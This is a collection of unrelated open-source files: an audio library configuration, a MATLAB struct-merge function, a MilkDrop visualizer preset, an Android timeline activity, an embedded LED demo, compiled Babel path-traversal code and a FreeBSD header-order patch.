# mono and stereo output modes. Valid values range from 0 to 1 (inclusive),
# and higher values provide a stronger effect.
#head_dampen = 0.25
## frequency:
# Sets the output frequency.
#frequency = 44100
## resampler:
# Selects the resampler used when mixing sources. Valid values are:
# 0 - None (nearest sample, no interpolation)
# 1 - Linear (extrapolates samples using a linear slope between samples)
# 2 - Cubic (extrapolates samples using a Catmull-Rom spline)
# Specifying other values will result in using the default (linear).
#resampler = 1
## rt-prio:
# Sets real-time priority for the mixing thread. Not all drivers may use this
# (eg. PortAudio) as they already control the priority of the mixing thread.
# 0 and negative values will disable it. Note that this may constitute a
# security risk since a real-time priority thread can indefinitely block
# normal-priority threads if it fails to wait. As such, the default is
# disabled.
#rt-prio = 0
## period_size:
# Sets the update period size, in frames. This is the number of frames needed
# for each mixing update.
#period_size = 1024
## periods:
# Sets the number of update periods. Higher values create a larger mix ahead,
# which helps protect against skips when the CPU is under load, but increases
# the delay between a sound getting mixed and being heard.
#periods = 4
## sources:
# Sets the maximum number of allocatable sources. Lower values may help for
# systems with apps that try to play more sounds than the CPU can handle.
#sources = 256
## stereodup:
# Sets whether to duplicate stereo sounds on the rear and side speakers for 4+
# channel output. This provides a "fuller" playback quality for 4+ channel
# output modes, although each individual speaker will have a slight reduction
# in volume to compensate for the extra output speakers. True, yes, on, and
# non-0 values will duplicate stereo sources. 0 and anything else will cause
# stereo sounds to only play out the front speakers. This only has an effect
# when a suitable output format is used (ie. those that contain side and/or
# rear speakers).
#stereodup = true
## scalemix:
# Sets whether to scale the remixed output. When the final mix is written to
# the device, the multi-channel data is remixed so pure-virtual channels (eg.
# front-center on stereo output) are remixed and added to available channels
# (eg. front-left and front-right). Scaling helps ensure that no single source
# will put out more than 100% on a given physical channel. This can cause a
# noticeable reduction in overall volume, however, so it is off by default.
#scalemix = false
## drivers:
# Sets the backend driver list order, comma-seperated. Unknown backends and
# duplicated names are ignored. Unlisted backends won't be considered for use
# unless the list is ended with a comma (eg. 'oss,' will list OSS first
# followed by all other available backends, while 'oss' will list OSS only).
# Backends prepended with - won't be available for use (eg. '-oss,' will allow
# all available backends except OSS). An empty list means the default.
#drivers = pulse,alsa,oss,solaris,dsound,winmm,port,null,wave
## excludefx:
# Sets which effects to exclude, preventing apps from using them. This can
# help for apps that try to use effects which are too CPU intensive for the
# system to handle. Available effects are: eaxreverb,reverb,echo,modulator
#excludefx =
## slots:
# Sets the maximum number of Auxiliary Effect Slots an app can create. A slot
# can use a non-negligible amount of CPU time if an effect is set on it even
# if no sources are feeding it, so this may help when apps use more than the
# system can handle.
#slots = 4
## sends:
# Sets the number of auxiliary sends per source. When not specified (default),
# it allows the app to request how many it wants. The maximum value currently
# possible is 4.
#sends =
## layout:
# Sets the virtual speaker layout. Values are specified in degrees, where 0 is
# straight in front, negative goes left, and positive goes right. Unspecified
# speakers will remain at their default positions (which are dependant on the
# output format). Available speakers are back-left(bl), side-left(sl), front-
# left(fl), front-center(fc), front-right(fr), side-right(sr), back-right(br),
# and back-center(bc).
#layout =
## layout_*:
# Channel-specific layouts may be specified to override the layout option. The
# same speakers as the layout option are available, and the default settings
# are shown below.
#layout_STEREO = fl=-90, fr=90
#layout_QUAD = fl=-45, fr=45, bl=-135, br=135
#layout_51CHN = fl=-30, fr=30, fc=0, bl=-110, br=110
#layout_61CHN = fl=-30, fr=30, fc=0, sl=-90, sr=90, bc=180
#layout_71CHN = fl=-30, fr=30, fc=0, sl=-90, sr=90, bl=-150, br=150
##
## ALSA backend stuff
##
[alsa]
## device:
# Sets the device name for the default playback device.
#device = default
## capture:
# Sets the device name for the default capture device.
#capture = default
## mmap:
# Sets whether to try using mmap mode (helps reduce latencies and CPU
# consumption). If mmap isn't available, it will automatically fall back to
# non-mmap mode. True, yes, on, and non-0 values will attempt to use mmap. 0
# and anything else will force mmap off.
#mmap = true
##
## OSS backend stuff
##
[oss]
## device:
# Sets the device name for OSS output.
#device = /dev/dsp
## capture:
# Sets the device name for OSS capture.
#capture = /dev/dsp
##
## Solaris backend stuff
##
[solaris]
## device:
# Sets the device name for Solaris output.
#device = /dev/audio
##
## DirectSound backend stuff
##
[dsound]
##
## Windows Multimedia backend stuff
##
[winmm]
##
## PortAudio backend stuff
##
[port]
## device:
# Sets the device index for output. Negative values will use the default as
# given by PortAudio itself.
#device = -1
## capture:
# Sets the device index for capture. Negative values will use the default as
# given by PortAudio itself.
#capture = -1
##
## PulseAudio backend stuff
##
[pulse]
## spawn-server:
# Attempts to spawn a PulseAudio server when requesting to open a PulseAudio
# device. Note that some apps may open and probe all enumerated devices on
# startup, causing a server to spawn even if a PulseAudio device is not
# actually selected. Setting autospawn to false in Pulse's client.conf will
# still prevent autospawning even if this is set to true.
#spawn-server = false
##
## Wave File Writer stuff
##
[wave]
## file:
# Sets the filename of the wave file to write to. An empty name prevents the
# backend from opening, even when explicitly requested.
# THIS WILL OVERWRITE EXISTING FILES WITHOUT QUESTION!
#file =
| {
"pile_set_name": "Github"
} |
function s=mergestruct(s1,s2)
%
% s=mergestruct(s1,s2)
%
% merge two struct objects into one
%
% authors:Qianqian Fang (fangq<at> nmr.mgh.harvard.edu)
% date: 2012/12/22
%
% input:
% s1,s2: a struct object, s1 and s2 can not be arrays
%
% output:
% s: the merged struct object. fields in s1 and s2 will be combined in s.
%
% license:
% BSD, see LICENSE_BSD.txt files for details
%
% -- this function is part of jsonlab toolbox (http://iso2mesh.sf.net/cgi-bin/index.cgi?jsonlab)
%
if(~isstruct(s1) || ~isstruct(s2))
error('input parameters contain non-struct');
end
if(length(s1)>1 || length(s2)>1)
error('can not merge struct arrays');
end
fn=fieldnames(s2);
s=s1;
for i=1:length(fn)
s=setfield(s,fn{i},getfield(s2,fn{i}));
end
| {
"pile_set_name": "Github"
} |
[preset00]
fRating=2.000000
fGammaAdj=1.7
fDecay=0.94
fVideoEchoZoom=1
fVideoEchoAlpha=0
nVideoEchoOrientation=0
nWaveMode=0
bAdditiveWaves=1
bWaveDots=0
bWaveThick=0
bModWaveAlphaByVolume=0
bMaximizeWaveColor=0
bTexWrap=1
bDarkenCenter=0
bRedBlueStereo=0
bBrighten=0
bDarken=0
bSolarize=0
bInvert=0
fWaveAlpha=0.001
fWaveScale=0.01
fWaveSmoothing=0.63
fWaveParam=-1
fModWaveAlphaStart=0.71
fModWaveAlphaEnd=1.3
fWarpAnimSpeed=1
fWarpScale=1.331
fZoomExponent=1
fShader=0
zoom=13.290894
rot=-0.02
cx=0.5
cy=0.5
dx=-0.28
dy=-0.32
warp=0.01
sx=1
sy=1
wave_r=0.65
wave_g=0.65
wave_b=0.65
wave_x=0.5
wave_y=0.5
ob_size=0
ob_r=0.01
ob_g=0
ob_b=0
ob_a=1
ib_size=0
ib_r=0.95
ib_g=0.85
ib_b=0.65
ib_a=1
nMotionVectorsX=64
nMotionVectorsY=0
mv_dx=0
mv_dy=0
mv_l=0.9
mv_r=1
mv_g=1
mv_b=1
mv_a=0
wavecode_0_enabled=0
wavecode_0_samples=512
wavecode_0_sep=0
wavecode_0_bSpectrum=0
wavecode_0_bUseDots=0
wavecode_0_bDrawThick=0
wavecode_0_bAdditive=0
wavecode_0_scaling=1
wavecode_0_smoothing=0.5
wavecode_0_r=1
wavecode_0_g=1
wavecode_0_b=1
wavecode_0_a=1
wavecode_1_enabled=0
wavecode_1_samples=512
wavecode_1_sep=0
wavecode_1_bSpectrum=0
wavecode_1_bUseDots=0
wavecode_1_bDrawThick=0
wavecode_1_bAdditive=0
wavecode_1_scaling=1
wavecode_1_smoothing=0.5
wavecode_1_r=1
wavecode_1_g=1
wavecode_1_b=1
wavecode_1_a=1
wavecode_2_enabled=0
wavecode_2_samples=512
wavecode_2_sep=0
wavecode_2_bSpectrum=0
wavecode_2_bUseDots=0
wavecode_2_bDrawThick=0
wavecode_2_bAdditive=0
wavecode_2_scaling=1
wavecode_2_smoothing=0.5
wavecode_2_r=1
wavecode_2_g=1
wavecode_2_b=1
wavecode_2_a=1
wavecode_3_enabled=0
wavecode_3_samples=512
wavecode_3_sep=0
wavecode_3_bSpectrum=0
wavecode_3_bUseDots=0
wavecode_3_bDrawThick=0
wavecode_3_bAdditive=0
wavecode_3_scaling=1
wavecode_3_smoothing=0.5
wavecode_3_r=1
wavecode_3_g=1
wavecode_3_b=1
wavecode_3_a=1
shapecode_0_enabled=1
shapecode_0_sides=3
shapecode_0_additive=0
shapecode_0_thickOutline=0
shapecode_0_textured=0
shapecode_0_x=0.5
shapecode_0_y=0.5
shapecode_0_rad=0.55
shapecode_0_ang=0
shapecode_0_tex_ang=0
shapecode_0_tex_zoom=1
shapecode_0_r=1
shapecode_0_g=0
shapecode_0_b=0
shapecode_0_a=0.1
shapecode_0_r2=0
shapecode_0_g2=1
shapecode_0_b2=0
shapecode_0_a2=0.9
shapecode_0_border_r=1
shapecode_0_border_g=1
shapecode_0_border_b=1
shapecode_0_border_a=0.4
shape_0_per_frame1=ang = time*0.4;;
shape_0_per_frame2=x = 0.5 + 0.08*cos(time*1.3) + 0.03*cos(time*0.7);
shape_0_per_frame3=y = 0.5 + 0.08*sin(time*1.4) + 0.03*sin(time*0.7);
shape_0_per_frame4=r =0.5 + 0.5*sin(q8*0.613 + 1);
shape_0_per_frame5=g = 0.5 + 0.5*sin(q8*0.763 + 2);
shape_0_per_frame6=b = 0.5 + 0.5*sin(q8*0.771 + 5);
shape_0_per_frame7=r2 = 0.5 + 0.5*sin(q8*0.635 + 4);
shape_0_per_frame8=g2 = 0.5 + 0.5*sin(q8*0.616+ 1);
shape_0_per_frame9=b2 = 0.5 + 0.5*sin(q8*0.538 + 3);
shapecode_1_enabled=1
shapecode_1_sides=32
shapecode_1_additive=0
shapecode_1_thickOutline=0
shapecode_1_textured=0
shapecode_1_x=0.5
shapecode_1_y=0.5
shapecode_1_rad=0.4
shapecode_1_ang=0
shapecode_1_tex_ang=0
shapecode_1_tex_zoom=1
shapecode_1_r=1
shapecode_1_g=0
shapecode_1_b=0
shapecode_1_a=1
shapecode_1_r2=0
shapecode_1_g2=1
shapecode_1_b2=0
shapecode_1_a2=0.3
shapecode_1_border_r=1
shapecode_1_border_g=1
shapecode_1_border_b=1
shapecode_1_border_a=0.1
shape_1_per_frame1=ang = time*1.7;
shape_1_per_frame2=x = 0.5 + 0.08*cos(time*1.1) + 0.03*cos(time*0.7);
shape_1_per_frame3=y = 0.5 + 0.08*sin(time*1.1) + 0.03*sin(time*0.7);
shape_1_per_frame4=r = 0.5 + 0.5*sin(q8*0.713 + 1);
shape_1_per_frame5=g = 0.5 + 0.5*sin(q8*0.563 + 2);
shape_1_per_frame6=b = 0.5 + 0.5*sin(q8*0.654 + 5);
shape_1_per_frame7=r2 = 0.5 + 0.5*sin(q8*0.885 + 4);
shape_1_per_frame8=g2 = 0.5 + 0.5*sin(q8*0.556+ 1);
shape_1_per_frame9=b2 = 0.5 + 0.5*sin(tq8*0.638 + 3);
shapecode_2_enabled=1
shapecode_2_sides=4
shapecode_2_additive=0
shapecode_2_thickOutline=0
shapecode_2_textured=0
shapecode_2_x=0.5
shapecode_2_y=0.5
shapecode_2_rad=0.4
shapecode_2_ang=0
shapecode_2_tex_ang=0
shapecode_2_tex_zoom=1
shapecode_2_r=1
shapecode_2_g=0
shapecode_2_b=0
shapecode_2_a=1
shapecode_2_r2=0
shapecode_2_g2=1
shapecode_2_b2=0
shapecode_2_a2=0.5
shapecode_2_border_r=1
shapecode_2_border_g=1
shapecode_2_border_b=1
shapecode_2_border_a=0.1
shape_2_per_frame1=ang = time*1.24;
shape_2_per_frame2=x = 0.5 - 0.08*cos(time*1.07) + 0.03*cos(time*0.7);
shape_2_per_frame3=y = 0.5 - 0.08*sin(time*1.33) + 0.03*sin(time*0.7);
shape_2_per_frame4=g = 0.5 + 0.5*sin(q8*0.713 + 1);
shape_2_per_frame5=b = 0.5 + 0.5*sin(q8*0.563 + 2);
shape_2_per_frame6=r = 0.5 + 0.5*sin(q8*0.654 + 5);
shape_2_per_frame7=r2 = 0.5 + 0.5*sin(q8*0.885 + 4);
shape_2_per_frame8=g2 = 0.5 + 0.5*sin(q8*0.556+ 1);
shape_2_per_frame9=b2 = 0.5 + 0.5*sin(q8*.638 + 3);
shapecode_3_enabled=0
shapecode_3_sides=4
shapecode_3_additive=0
shapecode_3_thickOutline=0
shapecode_3_textured=0
shapecode_3_x=0.5
shapecode_3_y=0.5
shapecode_3_rad=0.1
shapecode_3_ang=0
shapecode_3_tex_ang=0
shapecode_3_tex_zoom=1
shapecode_3_r=1
shapecode_3_g=0
shapecode_3_b=0
shapecode_3_a=1
shapecode_3_r2=0
shapecode_3_g2=1
shapecode_3_b2=0
shapecode_3_a2=0
shapecode_3_border_r=1
shapecode_3_border_g=1
shapecode_3_border_b=1
shapecode_3_border_a=0.1
per_frame_1=ob_r = 0.5 + 0.4*sin(time*1.324);
per_frame_2=ob_g = 0.5 + 0.4*cos(time*1.371);
per_frame_3=ob_b = 0.5+0.4*sin(2.332*time);
per_frame_4=ib_r = 0.5 + 0.25*sin(time*1.424);
per_frame_5=ib_g = 0.25 + 0.25*cos(time*1.871);
per_frame_6=ib_b = 1-ob_b;
per_frame_7=volume = 0.15*(bass+bass_att+treb+treb_att+mid+mid_att);
per_frame_8=xamptarg = if(equal(frame%15,0),min(0.5*volume*bass_att,0.5),xamptarg);
per_frame_9=xamp = xamp + 0.5*(xamptarg-xamp);
per_frame_10=xdir = if(above(abs(xpos),xamp),-sign(xpos),if(below(abs(xspeed),0.1),2*above(xpos,0)-1,xdir));
per_frame_11=xaccel = xdir*xamp - xpos - xspeed*0.055*below(abs(xpos),xamp);
per_frame_12=xspeed = xspeed + xdir*xamp - xpos - xspeed*0.055*below(abs(xpos),xamp);
per_frame_13=xpos = xpos + 0.001*xspeed;
per_frame_14=dx = xpos*0.05;
per_frame_15=yamptarg = if(equal(frame%15,0),min(0.3*volume*treb_att,0.5),yamptarg);
per_frame_16=yamp = yamp + 0.5*(yamptarg-yamp);
per_frame_17=ydir = if(above(abs(ypos),yamp),-sign(ypos),if(below(abs(yspeed),0.1),2*above(ypos,0)-1,ydir));
per_frame_18=yaccel = ydir*yamp - ypos - yspeed*0.055*below(abs(ypos),yamp);
per_frame_19=yspeed = yspeed + ydir*yamp - ypos - yspeed*0.055*below(abs(ypos),yamp);
per_frame_20=ypos = ypos + 0.001*yspeed;
per_frame_21=dy = ypos*0.05;
per_frame_22=wave_a = 0;
per_frame_23=q8 =oldq8+ 0.0003*(pow(1+1.2*bass+0.4*bass_att+0.1*treb+0.1*treb_att+0.1*mid+0.1*mid_att,6)/fps);
per_frame_24=oldq8 = q8;
per_frame_25=q7 = 0.003*(pow(1+1.2*bass+0.4*bass_att+0.1*treb+0.1*treb_att+0.1*mid+0.1*mid_att,6)/fps);
per_frame_26=rot = 0.4 + 1.5*sin(time*0.273) + 0.4*sin(time*0.379+3);
per_pixel_1=zoom =( log(sqrt(2)-rad) -0.24)*1;
| {
"pile_set_name": "Github"
} |
/*******************************************************************************
* Copyright 2011, 2012, 2013 fanfou.com, Xiaoke, Zhang
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
package com.fanfou.app.opensource;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.os.Messenger;
import android.os.Parcelable;
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.AdapterView.OnItemLongClickListener;
import android.widget.ListView;
import com.fanfou.app.opensource.adapter.StatusCursorAdapter;
import com.fanfou.app.opensource.api.bean.Status;
import com.fanfou.app.opensource.api.bean.User;
import com.fanfou.app.opensource.service.Constants;
import com.fanfou.app.opensource.ui.ActionBar;
import com.fanfou.app.opensource.ui.ActionBar.AbstractAction;
import com.fanfou.app.opensource.ui.ActionManager;
import com.fanfou.app.opensource.ui.UIManager;
import com.fanfou.app.opensource.util.CommonHelper;
import com.fanfou.app.opensource.util.StringHelper;
import com.handmark.pulltorefresh.library.PullToRefreshBase;
import com.handmark.pulltorefresh.library.PullToRefreshBase.OnLastItemVisibleListener;
import com.handmark.pulltorefresh.library.PullToRefreshBase.OnRefreshListener2;
import com.handmark.pulltorefresh.library.PullToRefreshListView;
/**
* @author mcxiaoke
* @version 1.0 2011.07.10
* @version 2.0 2011.10.19
* @version 3.0 2011.10.21
* @version 3.1 2011.10.24
* @version 3.2 2011.10.29
* @version 3.3 2011.11.18
* @version 3.4 2011.12.13
* @version 3.5 2011.12.23
* @version 4.0 2013.03.09
*
*/
abstract class BaseTimelineActivity extends BaseActivity implements
OnItemLongClickListener, OnItemClickListener,
OnRefreshListener2<ListView>, OnLastItemVisibleListener {
@SuppressLint("HandlerLeak")
private class ResultHandler extends Handler {
private final boolean doGetMore;
public ResultHandler(final boolean doGetMore) {
this.doGetMore = doGetMore;
}
@Override
public void handleMessage(final Message msg) {
switch (msg.what) {
case Constants.RESULT_SUCCESS:
if (!BaseTimelineActivity.this.isInitialized) {
showContent();
}
if (this.doGetMore) {
BaseTimelineActivity.this.mPullRefreshListView
.onRefreshComplete();
} else {
BaseTimelineActivity.this.mPullRefreshListView
.onRefreshComplete();
}
updateUI();
break;
case Constants.RESULT_ERROR:
final String errorMessage = msg.getData().getString(
Constants.EXTRA_ERROR);
final int errorCode = msg.getData()
.getInt(Constants.EXTRA_CODE);
if (!BaseTimelineActivity.this.isInitialized) {
showContent();
}
if (this.doGetMore) {
BaseTimelineActivity.this.mPullRefreshListView
.onRefreshComplete();
} else {
BaseTimelineActivity.this.mPullRefreshListView
.onRefreshComplete();
}
CommonHelper.checkErrorCode(BaseTimelineActivity.this.mContext,
errorCode, errorMessage);
break;
default:
break;
}
}
}
public class WriteAction extends AbstractAction {
public WriteAction(final Context context) {
super(R.drawable.i_write);
}
@Override
public void performAction(final View view) {
String text = null;
if (BaseTimelineActivity.this.user != null) {
text = "@" + BaseTimelineActivity.this.user.screenName + " ";
}
ActionManager.doWrite(BaseTimelineActivity.this.mContext, text);
}
}
protected ActionBar mActionBar;
protected ListView mListView;
private PullToRefreshListView mPullRefreshListView;
protected ViewGroup mEmptyView;
protected Cursor mCursor;
protected StatusCursorAdapter mCursorAdapter;
protected String userId;
protected String userName;
protected User user;
protected boolean isInitialized = false;
private static final String TAG = BaseTimelineActivity.class
.getSimpleName();
private static final String LIST_STATE = "listState";
private Parcelable mState = null;
protected void doGetMore() {
doRetrieve(true);
}
protected void doRefresh() {
doRetrieve(false);
}
protected void doRetrieve(final boolean doGetMore) {
doRetrieveImpl(new Messenger(new ResultHandler(doGetMore)), doGetMore);
}
protected abstract void doRetrieveImpl(final Messenger messenger,
boolean isGetMore);
protected abstract Cursor getCursor();
protected abstract String getPageTitle();
private void goTop() {
if (this.mListView != null) {
this.mListView.setSelection(0);
}
}
protected void initCheckState() {
if (this.mCursor.getCount() > 0) {
showContent();
} else {
doRefresh();
showProgress();
}
}
protected void initialize() {
this.mCursor = getCursor();
this.mCursorAdapter = new StatusCursorAdapter(true, this, this.mCursor);
}
private void log(final String message) {
Log.d(BaseTimelineActivity.TAG, message);
}
@Override
public void onClick(final View v) {
switch (v.getId()) {
case R.id.actionbar_title:
goTop();
break;
default:
break;
}
}
@Override
protected void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (AppContext.DEBUG) {
log("onCreate");
}
if (parseIntent()) {
initialize();
setLayout();
initCheckState();
} else {
finish();
}
}
@Override
public void onItemClick(final AdapterView<?> parent, final View view,
final int position, final long id) {
final Cursor c = (Cursor) parent.getItemAtPosition(position);
if (c != null) {
final Status s = Status.parse(c);
CommonHelper.goStatusPage(this.mContext, s);
}
}
@Override
public boolean onItemLongClick(final AdapterView<?> parent,
final View view, final int position, final long id) {
final Cursor c = (Cursor) parent.getItemAtPosition(position);
showPopup(view, c);
return true;
}
@Override
public void onLastItemVisible() {
}
// @Override
public void onLoadMore(final ListView viw) {
doGetMore();
}
@Override
protected void onPause() {
super.onPause();
}
@Override
public void onPullDownToRefresh(
final PullToRefreshBase<ListView> refreshView) {
doRefresh();
}
@Override
public void onPullUpToRefresh(final PullToRefreshBase<ListView> refreshView) {
doGetMore();
}
@Override
protected void onRestoreInstanceState(final Bundle savedInstanceState) {
super.onRestoreInstanceState(savedInstanceState);
this.mState = savedInstanceState
.getParcelable(BaseTimelineActivity.LIST_STATE);
}
@Override
protected void onResume() {
super.onResume();
if ((this.mState != null) && (this.mListView != null)) {
this.mListView.onRestoreInstanceState(this.mState);
this.mState = null;
}
}
@Override
protected void onSaveInstanceState(final Bundle outState) {
super.onSaveInstanceState(outState);
if (this.mListView != null) {
this.mState = this.mListView.onSaveInstanceState();
outState.putParcelable(BaseTimelineActivity.LIST_STATE, this.mState);
}
}
protected boolean parseIntent() {
final Intent intent = getIntent();
this.user = (User) intent.getParcelableExtra(Constants.EXTRA_DATA);
if (this.user == null) {
this.userId = intent.getStringExtra(Constants.EXTRA_ID);
} else {
this.userId = this.user.id;
this.userName = this.user.screenName;
}
return !StringHelper.isEmpty(this.userId);
}
/**
* 初始化和设置ActionBar
*/
private void setActionBar() {
this.mActionBar = (ActionBar) findViewById(R.id.actionbar);
this.mActionBar.setTitleClickListener(this);
this.mActionBar.setRightAction(new WriteAction(this));
this.mActionBar.setLeftAction(new ActionBar.BackAction(this));
if (this.user != null) {
this.mActionBar.setTitle(this.user.screenName + "的"
+ getPageTitle());
}
}
private void setLayout() {
setContentView(R.layout.list_ptr);
setActionBar();
this.mEmptyView = (ViewGroup) findViewById(R.id.empty);
this.mPullRefreshListView = (PullToRefreshListView) findViewById(R.id.list);
this.mPullRefreshListView.setOnRefreshListener(this);
this.mListView = this.mPullRefreshListView.getRefreshableView();
this.mListView.setOnItemLongClickListener(this);
this.mListView.setOnItemClickListener(this);
this.mListView.setAdapter(this.mCursorAdapter);
}
private void showContent() {
this.isInitialized = true;
this.mEmptyView.setVisibility(View.GONE);
this.mListView.setVisibility(View.VISIBLE);
}
private void showPopup(final View view, final Cursor c) {
if (c == null) {
return;
}
final Status s = Status.parse(c);
if (s == null) {
return;
}
UIManager.showPopup(this.mContext, c, view, s);
}
private void showProgress() {
this.mListView.setVisibility(View.GONE);
this.mEmptyView.setVisibility(View.VISIBLE);
}
protected void updateUI() {
if (this.mCursor != null) {
this.mCursor.requery();
}
}
}
| {
"pile_set_name": "Github"
} |
/*******************************************************************************
* AMetal
* ----------------------------
* innovating embedded platform
*
* Copyright (c) 2001-2018 Guangzhou ZHIYUAN Electronics Co., Ltd.
* All rights reserved.
*
* Contact information:
* web site: http://www.zlg.cn/
*******************************************************************************/
/**
* \file
* \brief LED 例程,通过标准接口实现
*
* - 操作步骤:
* 1. 短接 J9 和 J10 跳线帽,PIOC_9 和 PIOA_8 分别控制 LED0 和 LED1。
*
* - 实验现象:
* 1. LED0 和 LED1 以 0.3s 的时间间隔闪烁。
*
* \note
* 测试本 Demo 必须在 am_prj_config.h 内将 AM_CFG_LED_ENABLE 定义为 1
* 但这些宏已经默认配置为 1, 用户不必再次配置;
*
* \par 源代码
* \snippet demo_zlg217_std_led.c src_std_led
*
* \internal
* \par Modification history
* - 1.00 15-07-21 win, first implementation
* \endinternal
*/
/**
* \addtogroup demo_if_zlg217_std_led
* \copydoc demo_zlg217_std_led.c
*/
/** [src_std_led] */
#include "ametal.h"
#include "am_board.h"
#include "am_vdebug.h"
#include "demo_std_entries.h"
#include "demo_am217_core_entries.h"
/**
* \brief 例程入口
*/
void demo_zlg217_core_std_led_entry (void)
{
AM_DBG_INFO("demo am217_core std led!\r\n");
demo_std_led_entry(LED0);
}
/** [src_std_led] */
/* end of file */
| {
"pile_set_name": "Github"
} |
"use strict";
exports.__esModule = true;
var _getIterator2 = require("babel-runtime/core-js/get-iterator");
var _getIterator3 = _interopRequireDefault(_getIterator2);
exports.findParent = findParent;
exports.find = find;
exports.getFunctionParent = getFunctionParent;
exports.getStatementParent = getStatementParent;
exports.getEarliestCommonAncestorFrom = getEarliestCommonAncestorFrom;
exports.getDeepestCommonAncestorFrom = getDeepestCommonAncestorFrom;
exports.getAncestry = getAncestry;
exports.isAncestor = isAncestor;
exports.isDescendant = isDescendant;
exports.inType = inType;
exports.inShadow = inShadow;
var _babelTypes = require("babel-types");
var t = _interopRequireWildcard(_babelTypes);
var _index = require("./index");
var _index2 = _interopRequireDefault(_index);
function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function findParent(callback) {
var path = this;
while (path = path.parentPath) {
if (callback(path)) return path;
}
return null;
}
function find(callback) {
var path = this;
do {
if (callback(path)) return path;
} while (path = path.parentPath);
return null;
}
function getFunctionParent() {
return this.findParent(function (path) {
return path.isFunction() || path.isProgram();
});
}
function getStatementParent() {
var path = this;
do {
if (Array.isArray(path.container)) {
return path;
}
} while (path = path.parentPath);
}
function getEarliestCommonAncestorFrom(paths) {
return this.getDeepestCommonAncestorFrom(paths, function (deepest, i, ancestries) {
var earliest = void 0;
var keys = t.VISITOR_KEYS[deepest.type];
for (var _iterator = ancestries, _isArray = Array.isArray(_iterator), _i = 0, _iterator = _isArray ? _iterator : (0, _getIterator3.default)(_iterator);;) {
var _ref;
if (_isArray) {
if (_i >= _iterator.length) break;
_ref = _iterator[_i++];
} else {
_i = _iterator.next();
if (_i.done) break;
_ref = _i.value;
}
var ancestry = _ref;
var path = ancestry[i + 1];
if (!earliest) {
earliest = path;
continue;
}
if (path.listKey && earliest.listKey === path.listKey) {
if (path.key < earliest.key) {
earliest = path;
continue;
}
}
var earliestKeyIndex = keys.indexOf(earliest.parentKey);
var currentKeyIndex = keys.indexOf(path.parentKey);
if (earliestKeyIndex > currentKeyIndex) {
earliest = path;
}
}
return earliest;
});
}
function getDeepestCommonAncestorFrom(paths, filter) {
var _this = this;
if (!paths.length) {
return this;
}
if (paths.length === 1) {
return paths[0];
}
var minDepth = Infinity;
var lastCommonIndex = void 0,
lastCommon = void 0;
var ancestries = paths.map(function (path) {
var ancestry = [];
do {
ancestry.unshift(path);
} while ((path = path.parentPath) && path !== _this);
if (ancestry.length < minDepth) {
minDepth = ancestry.length;
}
return ancestry;
});
var first = ancestries[0];
depthLoop: for (var i = 0; i < minDepth; i++) {
var shouldMatch = first[i];
for (var _iterator2 = ancestries, _isArray2 = Array.isArray(_iterator2), _i2 = 0, _iterator2 = _isArray2 ? _iterator2 : (0, _getIterator3.default)(_iterator2);;) {
var _ref2;
if (_isArray2) {
if (_i2 >= _iterator2.length) break;
_ref2 = _iterator2[_i2++];
} else {
_i2 = _iterator2.next();
if (_i2.done) break;
_ref2 = _i2.value;
}
var ancestry = _ref2;
if (ancestry[i] !== shouldMatch) {
break depthLoop;
}
}
lastCommonIndex = i;
lastCommon = shouldMatch;
}
if (lastCommon) {
if (filter) {
return filter(lastCommon, lastCommonIndex, ancestries);
} else {
return lastCommon;
}
} else {
throw new Error("Couldn't find intersection");
}
}
function getAncestry() {
var path = this;
var paths = [];
do {
paths.push(path);
} while (path = path.parentPath);
return paths;
}
function isAncestor(maybeDescendant) {
return maybeDescendant.isDescendant(this);
}
function isDescendant(maybeAncestor) {
return !!this.findParent(function (parent) {
return parent === maybeAncestor;
});
}
function inType() {
var path = this;
while (path) {
for (var _iterator3 = arguments, _isArray3 = Array.isArray(_iterator3), _i3 = 0, _iterator3 = _isArray3 ? _iterator3 : (0, _getIterator3.default)(_iterator3);;) {
var _ref3;
if (_isArray3) {
if (_i3 >= _iterator3.length) break;
_ref3 = _iterator3[_i3++];
} else {
_i3 = _iterator3.next();
if (_i3.done) break;
_ref3 = _i3.value;
}
var type = _ref3;
if (path.node.type === type) return true;
}
path = path.parentPath;
}
return false;
}
function inShadow(key) {
var parentFn = this.isFunction() ? this : this.findParent(function (p) {
return p.isFunction();
});
if (!parentFn) return;
if (parentFn.isFunctionExpression() || parentFn.isFunctionDeclaration()) {
var shadow = parentFn.node.shadow;
if (shadow && (!key || shadow[key] !== false)) {
return parentFn;
}
} else if (parentFn.isArrowFunctionExpression()) {
return parentFn;
}
return null;
} | {
"pile_set_name": "Github"
} |
The squirrel headers #define type , which plays havoc with
other headers that use type as a variable name or structure member.
Move other headers before the offending squirrel header.
In file included from /usr/include/c++/v1/math.h:310:
/usr/include/c++/v1/limits:232:90: error: member reference base type 'int' is not a structure or union
_LIBCPP_INLINE_VISIBILITY static _LIBCPP_CONSTEXPR type infinity() _NOEXCEPT {return type(0);}
^~~~~~~
/wrkdirs/usr/ports/games/supertux2/work/supertux-0.4.0/external/squirrel/squirrel/sqobject.h:131:25: note: expanded from macro 'type'
#define type(obj) ((obj)._type)
--- external/squirrel/squirrel/sqvm.cpp.orig 2019-05-03 09:52:24 UTC
+++ external/squirrel/squirrel/sqvm.cpp
@@ -1,8 +1,8 @@
/*
see copyright notice in squirrel.h
*/
-#include "sqpcheader.h"
#include <math.h>
+#include "sqpcheader.h"
#include <stdlib.h>
#include "sqopcodes.h"
#include "sqvm.h"
| {
"pile_set_name": "Github"
} |
//
// UserExtensionsSpec.swift
// Rocket.ChatTests
//
// Created by Matheus Cardoso on 12/6/17.
